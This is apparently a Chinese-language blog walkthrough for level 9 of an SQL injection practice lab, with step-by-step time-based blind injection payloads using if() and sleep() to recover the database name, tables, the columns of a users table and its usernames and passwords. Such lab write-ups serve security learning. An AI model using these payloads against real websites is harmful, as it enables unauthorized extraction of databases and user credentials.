SQL靶场第九关攻略

我们的第九关需要用到时间盲注

使用条件:完全没有变化的页面

我们在了解一下时间盲注和布尔盲注的区别,时间盲注比布尔盲注多了一个if判断加上sleep()函数的运用

if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;

sleep()函数 网页延迟n秒后,输出结果

一.判断类型

我们输入

?id=1'

?id=1"

页面完全没反应,我们考虑时间盲注

二.判断闭合点

输入?id=1' and sleep(3)--+

输入?id=1' andif(1=2,1,sleep(3))--+,说明我们的闭合点为单引号

三.判断数据库长度

输入?id=1'and if(length(database())>7,sleep(3),1)--+

输入?id=1'and if(length(database())>8,sleep(3),1)--+,说明数据库长度为8位

四.判断数据库名称

输入?id=1' and if((substr(database(),1,1)='a'),sleep(3),0)--+无延时

输入?id=1' and if((substr(database(),1,1)='s'),sleep(3),0)--+有延时,说明s是我们数据库第一个字母

后面以此类推,得出了数据库名为security

五.判断表个数

输入?id=1'and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)--+有延时,说明存在四个表

六.判断表的长度

第一张表的长度:

输入?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),0)--+有延时,说明第一张表的长度为6

第四张表的长度:

?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(3),0)--+有延时说明第四张表的长度为5

七.查询表的名称

这里我们就不依次判断了,users表是五位,所以直接查第四张表

输入?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u',sleep(3),0)--+有延时,说明我们第四张表的第一位字母是u

以此类推,我们查到最后,第四张表的名称是users

八.查询字段数

输入?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(3),1)--+有延时,说明users表存在三个字段

九.查询字段名

1.判断字段名长度

输入?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(3),0)--+有延时,说明users表的第一个字段名的长度为2

我们在查第二,三个字段名长度都是8

2.判读字段名

输入?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep (3),0)--+有延时,说明我们users表第一个字段的第一个字母是i

以此类推我们可以得到三个字段分别为id,username,password

十.查询数据

输入?id=1'and if(substr((select username from users limit 0,1),1,1)='d',sleep(3),1)--+有延时,说明我们username列中的第一个字段的字母为d

以此类推我们就会把所有的数据查出来

以上就是sql靶场第九关的通关攻略

相关推荐
运维成长记31 分钟前
mysql数据库-中间件MyCat
数据库·mysql·中间件
尘客.44 分钟前
DataX从Mysql导数据到Hive分区表案例
数据库·hive·mysql
TiDB 社区干货传送门2 小时前
从开发者角度看数据库架构进化史:JDBC - 中间件 - TiDB
数据库·oracle·中间件·tidb·数据库架构
虾球xz2 小时前
游戏引擎学习第280天:精简化的流式实体sim
数据库·c++·学习·游戏引擎
uwvwko3 小时前
BUUCTF——web刷题第一页题解
android·前端·数据库·php·web·ctf
扶尔魔ocy3 小时前
【Linux C/C++开发】轻量级关系型数据库SQLite开发(包含性能测试代码)
linux·数据库·c++·sqlite
旋风菠萝3 小时前
项目复习(1)
java·数据库·八股·八股文·复习·项目、
w23617346013 小时前
Django框架漏洞深度剖析:从漏洞原理到企业级防御实战指南——为什么你的Django项目总被黑客盯上?
数据库·django·sqlite
菜鸟蹦迪3 小时前
学习记录:mybatis和jdbc实现数据表作为参数的相关的sql操作
sql·学习·mybatis
2302_809798323 小时前
【JavaWeb】MySQL
数据库·mysql